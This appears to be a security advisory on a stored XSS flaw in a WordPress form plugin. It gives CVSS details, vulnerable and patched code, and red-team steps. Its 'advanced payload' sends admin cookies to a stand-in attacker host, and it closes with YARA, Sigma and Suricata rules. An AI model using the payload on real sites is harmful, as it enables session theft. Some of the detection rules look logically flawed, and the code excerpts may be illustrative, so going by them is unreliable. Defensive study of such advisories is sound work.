CVE-2024-13381

Executive Summary

CVE-2024-13381 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the Calculated Fields Form WordPress plugin, affecting versions prior to 5.2.62. This flaw allows high-privilege users, such as administrators, to inject malicious scripts into plugin settings. Even when the unfiltered_html capability is disallowed (e.g., in multisite configurations), the plugin fails to properly sanitize and escape certain settings, enabling stored XSS attacks. Successful exploitation could lead to session hijacking, data theft, or further compromise of the WordPress environment.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem, not in a package manager like NPM or PyPI. However, the risk extends to any WordPress site using the plugin, as updates are distributed via the WordPress plugin repository. Administrators must ensure timely updates to mitigate supply chain risks.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated 4.8 Medium based on vector)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin must visit malicious settings page)
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires admin privileges but can lead to persistent compromise.

Deep Dive & Mechanics

The vulnerability stems from insufficient input sanitization and output escaping in the plugin’s settings page. The Calculated Fields Form plugin stores configuration options in the WordPress database. When an admin user modifies certain settings (e.g., field labels, CSS classes, or custom scripts), the plugin does not properly validate or escape the input. This allows an attacker with admin access to inject arbitrary JavaScript code.

In a multisite environment, where unfiltered_html is typically disabled for non-super admins, this vulnerability bypasses that restriction. The injected script is stored in the database and executed whenever the settings page is rendered, affecting any admin who views it. This can lead to:

• Stealing admin session cookies.
• Performing actions on behalf of the victim admin.
• Injecting malicious content into the site.

The root cause is the use of echo or print functions without esc_html() or wp_kses() on user-supplied data within the plugin’s admin interface.

Vulnerable vs. Patched Code

Vulnerable Code (version < 5.2.62):

// In settings page rendering
echo '<input type="text" name="cp_calculated_fields_form_label" value="' . $option_value . '" />';

Here, $option_value is directly echoed without escaping, allowing XSS.

Patched Code (version 5.2.62):

// In settings page rendering
echo '<input type="text" name="cp_calculated_fields_form_label" value="' . esc_attr( $option_value ) . '" />';

The patched version uses esc_attr() to escape the value, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Admin access to a WordPress site running Calculated Fields Form < 5.2.62.
• Ability to navigate to the plugin settings page.

Steps:

1. Log in as an admin user.
2. Navigate to Calculated Fields Form > Settings.
3. Locate a vulnerable field (e.g., "Label" or "CSS Class").
4. Inject the following payload into the field:

   "><script>alert('XSS')</script>
   

5. Save the settings.
6. Any admin viewing the settings page will trigger the script.

Advanced Payload:

"><img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings by admin users.
• Look for patterns like "><script> or onerror= in database entries for cp_calculated_fields_form_* options.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in admin POST requests.

Hardening:

• Immediately update the plugin to version 5.2.62 or later.
• Restrict admin access to trusted users only.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Regularly audit plugin settings for unexpected changes.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/calculated-fields-form/ (check for modified files)
• Database: Entries in wp_options table with cp_calculated_fields_form_ prefix containing <script> tags or event handlers.
• Logs: Admin activity logs showing modification of plugin settings with suspicious payloads.
• Network: Outbound requests to attacker-controlled domains from admin sessions.

Detection Engineering

YARA Rule

rule CVE_2024_13381_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Calculated Fields Form plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-13381"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Calculated Fields Form Plugin Settings
id: 8a3f7c2e-5b1d-4a9e-8c6f-2d3e4f5a6b7c
status: experimental
description: Detects stored XSS payloads in WordPress plugin settings for Calculated Fields Form
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for plugin settings change
        PluginName: 'calculated-fields-form'
        SettingValue|contains|all:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13381 Stored XSS in Calculated Fields Form"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=cp_calculated_fields_form"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Update the Calculated Fields Form plugin to version 5.2.62 or later via the WordPress admin dashboard.
2. Verify Update: Confirm the plugin version in Plugins > Installed Plugins.
3. Audit Settings: Review all plugin settings for any injected scripts and remove them.
4. Restrict Admin Access: Limit admin privileges to essential users only, especially in multisite environments.
5. Enable WAF: Deploy a Web Application Firewall with XSS protection rules.
6. Monitor Logs: Regularly check admin activity logs for suspicious changes to plugin settings.

Valters IT